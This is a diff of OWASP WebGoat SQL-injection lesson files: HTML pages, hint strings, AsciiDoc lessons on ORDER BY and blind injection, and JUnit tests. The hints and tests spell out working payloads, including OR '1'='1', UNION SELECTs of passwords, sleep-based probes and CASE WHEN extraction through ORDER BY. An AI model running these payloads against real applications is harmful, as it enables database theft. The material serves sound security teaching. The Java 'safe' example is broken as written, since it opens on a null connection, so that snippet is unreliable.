value="Register Now"/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<br/>
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</html>
|
@ -0,0 +1,112 @@
|
||||
<!DOCTYPE html>
|
||||
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content7.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content8.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content9.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content10.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content11.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content12.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content12a.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_order_by.adoc"></div>
|
||||
<script th:src="@{/lesson_js/assignment12.js}" language="JavaScript"></script>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/SqlInjection/attack12a"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="panel panel-primary">
|
||||
<div class="panel-heading">
|
||||
<h3>List of servers
|
||||
<div class="pull-right">
|
||||
<button id="btn-admin" class="btn btn-default"><span
|
||||
class="glyphicon glyphicon-pencil"></span> Edit
|
||||
</button>
|
||||
</div>
|
||||
</h3>
|
||||
</div>
|
||||
<div id="toolbar-admin" class="panel-body">
|
||||
<div class="btn-toolbar" role="toolbar" aria-label="admin">
|
||||
<div class="btn-group pull-right" role="group">
|
||||
<button id="btn-online" type="button" class="btn btn-success">Online</button>
|
||||
<button id="btn-offline" type="button" class="btn btn-warning">Offline</button>
|
||||
<button id="btn-out-of-order" type="button" class="btn btn-danger">Out Of Order
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<table class="table table-striped table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th class="col-check"></th>
|
||||
<th></th>
|
||||
<th>Hostname <span onclick="getServers('hostname')"><i
|
||||
class="fa fa-fw fa-sort"></i></span>
|
||||
</th>
|
||||
<th>IP <span onclick="getServers('ip')"><i class="fa fa-fw fa-sort"></i></span></th>
|
||||
<th>MAC <span onclick="getServers('mac')"><i class="fa fa-fw fa-sort"></i></span></th>
|
||||
<th>Status <span onclick="getServers('status')"><i class="fa fa-fw fa-sort"></i></span>
|
||||
</th>
|
||||
<th>Description <span onclick="getServers('description')"><i
|
||||
class="fa fa-fw fa-sort"></i></span>
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="servers">
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
<br/>
|
||||
<br/>
|
||||
</div>
|
||||
</form>
|
||||
<form class="attack-form" method="POST" name="form" action="SqlInjection/attack12a">
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<div class="input-group-addon">IP address webgoat-prd server:</div>
|
||||
<input type="text" class="form-control" id="ip" name="ip"
|
||||
placeholder="192.1.0.12"/>
|
||||
</div>
|
||||
<div class="input-group" style="margin-top: 10px">
|
||||
<button type="submit" class="btn btn-primary">Submit</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content13.adoc"></div>
|
||||
</div>
|
||||
|
||||
</html>
|
@ -1,12 +1,18 @@
|
||||
#StringSqlInjection.java
|
||||
StringSqlInjectionSecondStage=Now that you have successfully performed an SQL injection, try the same type of attack on a parameterized query. Restart the lesson if you wish to return to the injectable query.
|
||||
EnterLastName=Enter your last name:
|
||||
NoResultsMatched=No results matched. Try Again.
|
||||
NoResultsMatched=No results matched. Try Again.
|
||||
SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command.
|
||||
SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:<br><br> "SELECT * FROM user_data WHERE last_name = "accountName"
|
||||
SqlStringInjectionHint3=Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. Try appending a SQL statement that always resolves to true
|
||||
SqlStringInjectionHint4=Try entering [ smith' OR '1' = '1 ].
|
||||
|
||||
SqlStringInjectionHint5=First try to find out the number of columns by adding a group by 1,2,3 etc to the query.
|
||||
SqlStringInjectionHint6=Try adding a union to the query, the number of columns should match.
|
||||
SqlStringInjectionHint7=Try entering [ Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data -- ].
|
||||
SqlStringInjectionHint8=Try sorting and look at the request
|
||||
SqlStringInjectionHint9=Intercept the request and try to specify a different order by
|
||||
SqlStringInjectionHint10=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
|
||||
SqlStringInjectionHint11=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
|
||||
|
||||
sql-injection.5a.success=You have succeed: {0}
|
||||
sql-injection.5a.no.results=No results matched. Try Again.
|
||||
|
@ -0,0 +1,61 @@
|
||||
$(function () {
|
||||
$('.col-check').hide();
|
||||
$('#btn-admin').on('click', function () {
|
||||
if ($("#toolbar-admin").is(":visible")) {
|
||||
$("#toolbar-admin").hide();
|
||||
$(".col-check").hide();
|
||||
}
|
||||
else {
|
||||
$("#toolbar-admin").show();
|
||||
$(".col-check").show();
|
||||
}
|
||||
});
|
||||
|
||||
$('#btn-online').on('click', function () {
|
||||
$('table tr').filter(':has(:checkbox:checked)').find('td').parent().removeClass().addClass('success');
|
||||
$('table tr').filter(':has(:checkbox:checked)').find('td.status').text('online');
|
||||
});
|
||||
$('#btn-offline').on('click', function () {
|
||||
$('table tr').filter(':has(:checkbox:checked)').find('td').parent().removeClass().addClass('warning');
|
||||
$('table tr').filter(':has(:checkbox:checked)').find('td.status').text('offline');
|
||||
});
|
||||
$('#btn-out-of-order').on('click', function () {
|
||||
$('table tr').filter(':has(:checkbox:checked)').find('td').parent().removeClass().addClass('danger');
|
||||
$('table tr').filter(':has(:checkbox:checked)').find('td.status').text('out of order');
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
$(document).ready(function () {
|
||||
getServers('id');
|
||||
});
|
||||
|
||||
var html = '<tr class="STATUS">' +
|
||||
'<td class="col-check"><input type="checkbox" class="form-check-input"/></td>' +
|
||||
'<td>HOSTNAME</td>' +
|
||||
'<td>IP</td>' +
|
||||
'<td>MAC</td>' +
|
||||
'<td class="status">ONLINE</td>' +
|
||||
'<td>DESCRIPTION</td>' +
|
||||
'</tr>';
|
||||
|
||||
function getServers(column) {
|
||||
$.get("SqlInjection/servers?column=" + column, function (result, status) {
|
||||
$("#servers").empty();
|
||||
for (var i = 0; i < result.length; i++) {
|
||||
var server = html.replace('ID', result[i].id);
|
||||
var status = "success";
|
||||
if (result[i].status === 'offline') {
|
||||
status = "danger";
|
||||
}
|
||||
server = server.replace('ONLINE', status);
|
||||
server = server.replace('STATUS', status);
|
||||
server = server.replace('HOSTNAME', result[i].hostname);
|
||||
server = server.replace('IP', result[i].ip);
|
||||
server = server.replace('MAC', result[i].mac);
|
||||
server = server.replace('DESCRIPTION', result[i].description);
|
||||
$("#servers").append(server);
|
||||
}
|
||||
|
||||
});
|
||||
}
|
@ -0,0 +1,18 @@
|
||||
$(function() {
|
||||
|
||||
$('#login-form-link').click(function(e) {
|
||||
$("#login-form").delay(100).fadeIn(100);
|
||||
$("#register-form").fadeOut(100);
|
||||
$('#register-form-link').removeClass('active');
|
||||
$(this).addClass('active');
|
||||
e.preventDefault();
|
||||
});
|
||||
$('#register-form-link').click(function(e) {
|
||||
$("#register-form").delay(100).fadeIn(100);
|
||||
$("#login-form").fadeOut(100);
|
||||
$('#login-form-link').removeClass('active');
|
||||
$(this).addClass('active');
|
||||
e.preventDefault();
|
||||
});
|
||||
|
||||
});
|
@ -0,0 +1,8 @@
|
||||
== Concept
|
||||
|
||||
This lesson describes the more advanced topics for an SQL injection.
|
||||
|
||||
== Goals
|
||||
|
||||
** Combining SQL Injection Techniques
|
||||
** Blind SQL injection
|
@ -0,0 +1,4 @@
|
||||
We now explained the basic steps involved in an SQL injection. In this assignment you will need to combine all
|
||||
the things we explained in the SQL lessons.
|
||||
|
||||
Have fun!
|
@ -1,35 +1,28 @@
|
||||
== Parameterized Queries – Java Example
|
||||
[source,java]
|
||||
-------------------------------------------------------
|
||||
// Parser returns only valid string data
|
||||
String accountID = getParser().getStringParameter(ACCT_ID, "");
|
||||
String data = null;
|
||||
try
|
||||
{
|
||||
// Read only database connection
|
||||
Statement connection = DatabaseUtilities.getConnection(READ_ONLY);
|
||||
|
||||
// Build a fully qualified query
|
||||
String query = "SELECT first_name, last_name, acct_id, balance
|
||||
FROM user_data WHERE acct_id = ?";
|
||||
PreparedStatement statement = connection.prepareStatement(query);
|
||||
statement.setString(1, accountID);
|
||||
ResultSet results = statement.executeQuery();
|
||||
if ((results != null) && (results.first() == true))
|
||||
{
|
||||
// Only one record should be returned for this query
|
||||
Results.last();
|
||||
if (results.getRow() <= 2)
|
||||
{
|
||||
data = processAccount(results);
|
||||
}
|
||||
else { // Handle the error – Database integrity issue }
|
||||
}
|
||||
else { // Handle the error – no records found }
|
||||
public static String loadAccount() {
|
||||
// Parser returns only valid string data
|
||||
String accountID = getParser().getStringParameter(ACCT_ID, "");
|
||||
String data = null;
|
||||
String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?";
|
||||
try (Connection connection = null;
|
||||
PreparedStatement statement = connection.prepareStatement(query)) {
|
||||
statement.setString(1, accountID);
|
||||
ResultSet results = statement.executeQuery();
|
||||
if (results != null && results.first()) {
|
||||
results.last(); // Only one record should be returned for this query
|
||||
if (results.getRow() <= 2) {
|
||||
data = processAccount(results);
|
||||
} else {
|
||||
// Handle the error – Database integrity issue
|
||||
}
|
||||
} else {
|
||||
// Handle the error – no records found }
|
||||
}
|
||||
} catch (SQLException sqle) {
|
||||
// Log and handle the SQL Exception }
|
||||
}
|
||||
return data;
|
||||
}
|
||||
catch (SQLException sqle) { // Log and handle the SQL Exception }
|
||||
catch (Exception e) { // Log and handle the Exception }
|
||||
finally { // Always close connection in finally block
|
||||
DatabaseUtilities.closeConnection();
|
||||
}
|
||||
return data;
|
||||
-------------------------------------------------------
|
||||
|
@ -0,0 +1,48 @@
|
||||
== Order by clause
|
||||
|
||||
Question: Does a preparared statement always prevent against an SQL injection?
|
||||
Answer: No it does not
|
||||
|
||||
Let's take a look at the following statement:
|
||||
|
||||
----
|
||||
select * from users order by lastname;
|
||||
----
|
||||
|
||||
If we look at the specification of the SQL grammar the definition is as follows:
|
||||
|
||||
----
|
||||
SELECT ...
|
||||
FROM tableList
|
||||
[WHERE Expression]
|
||||
[ORDER BY orderExpression [, ...]]
|
||||
|
||||
orderExpression:
|
||||
{ columnNr | columnAlias | selectExpression }
|
||||
[ASC | DESC]
|
||||
|
||||
selectExpression:
|
||||
{ Expression | COUNT(*) | {
|
||||
COUNT | MIN | MAX | SUM | AVG | SOME | EVERY |
|
||||
VAR_POP | VAR_SAMP | STDDEV_POP | STDDEV_SAMP
|
||||
} ([ALL | DISTINCT][2]] Expression) } [[AS] label]
|
||||
|
||||
Based on HSQLDB
|
||||
----
|
||||
|
||||
This means an `orderExpression` van be a `selectExpression` which can be a function as well, so for example with
|
||||
a `case` statement we might be able to ask the database some questions, like:
|
||||
|
||||
----
|
||||
select * from users order by
|
||||
(select case when (true) then lastname else firstname)
|
||||
----
|
||||
|
||||
So we can substitute any kind of boolean operation in the `when(....)` part. The statement will just work because
|
||||
it is a valid query whether you use a prepared statement or not an order by clause can by definition contain a
|
||||
expression.
|
||||
|
||||
=== Mitigation
|
||||
|
||||
If you need to provide a sorting column in your web application you should implement a whitelist to validate the value
|
||||
of the `order by` statement it should always be limited to something like 'firstname' or 'lastname'.
|
@ -0,0 +1,59 @@
|
||||
== Blind SQL Injection
|
||||
|
||||
Blind SQL injection is a type of SQL injection attack that asks the database true or false
|
||||
questions and determines the answer based on the applications response. This attack is often used when the web
|
||||
application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL
|
||||
injection.
|
||||
|
||||
=== Difference
|
||||
|
||||
Let's first start with the difference between a normal SQL injection and a blind SQL injection. In a normal
|
||||
SQL injection the error messages from the database are displayed and gives enough information to find out how
|
||||
the query is working. Or in the case of an union based SQL injection the application does not reflect the information
|
||||
directly on the webpage. So in the case where nothing is displayed you will need to start asking the database questions
|
||||
based on a true or false statement. That's why a blind SQL injection is much more difficult to exploit.
|
||||
|
||||
There are several different types of blind SQL injections: content based and time based SQL injections.
|
||||
|
||||
|
||||
=== Example
|
||||
|
||||
In this case we are trying to ask the database a boolean question based on for example a unique id, for example
|
||||
suppose we have the following url: `https://my-shop.com?article=4`
|
||||
On the server side this query will be translated as follows:
|
||||
|
||||
----
|
||||
SELECT * from articles where article_id = 4
|
||||
----
|
||||
|
||||
When we want to exploit this we change the url into: `https://my-shop.com?article=4 AND 1=1`
|
||||
This will be translated to:
|
||||
|
||||
----
|
||||
SELECT * from articles where article_id = 4 AND 1 = 1
|
||||
----
|
||||
|
||||
If the browser will return the same page as it used to when using `https://my-shop.com?article=4` you know the
|
||||
website is vulnerable for a blind SQL injection.
|
||||
If the browser responds with a page not found or something else you know a blind SQL injection might not work.
|
||||
You can now change the SQL query and test for example: `https://my-shop.com?article=4 AND 1=2` which will not return
|
||||
anything because the query returns false.
|
||||
|
||||
So but how do we actually take advantage of this? Above we only asked the database for trivial question but you can
|
||||
for example also use the following url: `https://my-shop.com?article=4 AND substring(database_version(),1,1) = 2`
|
||||
|
||||
Most of the time you start by finding which type of database is used, based on the type of database you can find
|
||||
the system tables of the database you can enumerate all the tables present in the database. With this information
|
||||
you can start getting information from all the tables and you are able to dump the database.
|
||||
Be aware that this approach might not work if the privileges of the database are setup correctly (meaning the
|
||||
system tables cannot be queried with the user used to connect from the web application to the database).
|
||||
|
||||
|
||||
Another way is called a time based SQL injection, in this case you will ask the database to wait before returning
|
||||
the result. You might need to use this if you are totally blind so there is no difference between the response you
|
||||
can use for example:
|
||||
|
||||
----
|
||||
article = 4; sleep(10) --
|
||||
----
|
||||
|
@ -0,0 +1,4 @@
|
||||
In this assignment try to perform an SQL injection through the ORDER BY field.
|
||||
Try to find the ip address of the `webgoat-prd` server.
|
||||
|
||||
Note: The submit field of this assignment is *NOT* vulnerable for an SQL injection.
|
@ -9,5 +9,4 @@ This lesson describes what is Structured Query Language (SQL) and how it can be
|
||||
* The user will demonstrate knowledge on:
|
||||
** String SQL Injection
|
||||
** Numeric SQL Injection
|
||||
** Combining SQL Injection Techniques
|
||||
|
||||
|
@ -0,0 +1,81 @@
|
||||
package org.owasp.webgoat.plugin.introduction;
|
||||
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.owasp.webgoat.session.WebgoatContext;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/21/17.
|
||||
*/
|
||||
@RunWith(SpringJUnit4ClassRunner.class)
|
||||
public class SqlInjectionLesson5aTest extends LessonTest {
|
||||
|
||||
@Autowired
|
||||
private WebgoatContext context;
|
||||
|
||||
@Before
|
||||
public void setup() throws Exception {
|
||||
SqlInjection sql = new SqlInjection();
|
||||
when(webSession.getCurrentLesson()).thenReturn(sql);
|
||||
when(webSession.getWebgoatContext()).thenReturn(context);
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void knownAccountShouldDisplayData() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||
.param("account", "Smith"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.output", containsString("<p>USERID, FIRST_NAME")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void unknownAccount() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||
.param("account", "Smithh"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("NoResultsMatched"))))
|
||||
.andExpect(jsonPath("$.output").doesNotExist());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void sqlInjection() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||
.param("account", "smith' OR '1' = '1"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
|
||||
.andExpect(jsonPath("$.output").doesNotExist());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void sqlInjectionWrongShouldDisplayError() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||
.param("account", "smith' OR '1' = '1'"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.output", is("malformed string: '1''")));
|
||||
}
|
||||
}
|
@ -0,0 +1,81 @@
|
||||
package org.owasp.webgoat.plugin.introduction;
|
||||
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.containsString;
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 6/15/17.
|
||||
*/
|
||||
@RunWith(SpringJUnit4ClassRunner.class)
|
||||
public class SqlInjectionLesson6aTest extends LessonTest {
|
||||
|
||||
@Before
|
||||
public void setup() throws Exception {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new SqlInjection());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongSolution() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||
.param("userid_6a", "John"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongNumberOfColumns() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||
.param("userid_6a", "Smith' union select userid,user_name, password,cookie from user_system_data --"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.output", is("column number mismatch detected in rows of UNION, INTERSECT, EXCEPT, or VALUES operation")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongDataTypeOfColumns() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||
.param("userid_6a", "Smith' union select 1,password, 1,'2','3', '4',1 from user_system_data --"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.output", containsString("incompatible data types in combination")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void correctSolution() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||
.param("userid_6a", "Smith' union select 1,password, '1','2','3', '4',1 from user_system_data --"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("dave")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noResultsReturned() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||
.param("userid_6a", "Smith' and 1 = 2 --"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.6a.no.results"))));
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -0,0 +1,46 @@
|
||||
package org.owasp.webgoat.plugin.introduction;
|
||||
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**a
|
||||
* @author nbaars
|
||||
* @since 6/16/17.
|
||||
*/
|
||||
@RunWith(SpringJUnit4ClassRunner.class)
|
||||
public class SqlInjectionLesson6bTest extends LessonTest {
|
||||
|
||||
@Before
|
||||
public void setup() throws Exception {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new SqlInjection());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void submitCorrectPassword() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
||||
.param("userid_6b", "dave"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void submitWrongPassword() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
||||
.param("userid_6b", "John"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,96 @@
|
||||
package org.owasp.webgoat.plugin.mitigation;
|
||||
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugin.introduction.SqlInjection;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.owasp.webgoat.session.WebgoatContext;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/21/17.
|
||||
*/
|
||||
@RunWith(SpringJUnit4ClassRunner.class)
|
||||
public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
|
||||
@Autowired
|
||||
private WebgoatContext context;
|
||||
|
||||
@Before
|
||||
public void setup() throws Exception {
|
||||
SqlInjection sql = new SqlInjection();
|
||||
|
||||
when(webSession.getCurrentLesson()).thenReturn(sql);
|
||||
when(webSession.getWebgoatContext()).thenReturn(context);
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void knownAccountShouldDisplayData() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "id"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void trueShouldSortByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "(case when (true) then hostname else id end)"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void falseShouldSortById() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "(case when (true) then hostname else id end)"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void passwordIncorrectShouldOrderByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void passwordCorrectShouldOrderByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
||||
.param("ip", "104.130.219.202"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
||||
.param("ip", "192.168.219.202"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
}
|
BIN
webgoat-lessons/webgoat-lesson-template/.DS_Store
vendored
Normal file
BIN
webgoat-lessons/webgoat-lesson-template/.DS_Store
vendored
Normal file
Binary file not shown.
55
webgoat-lessons/webgoat-lesson-template/getting-started.txt
Normal file
55
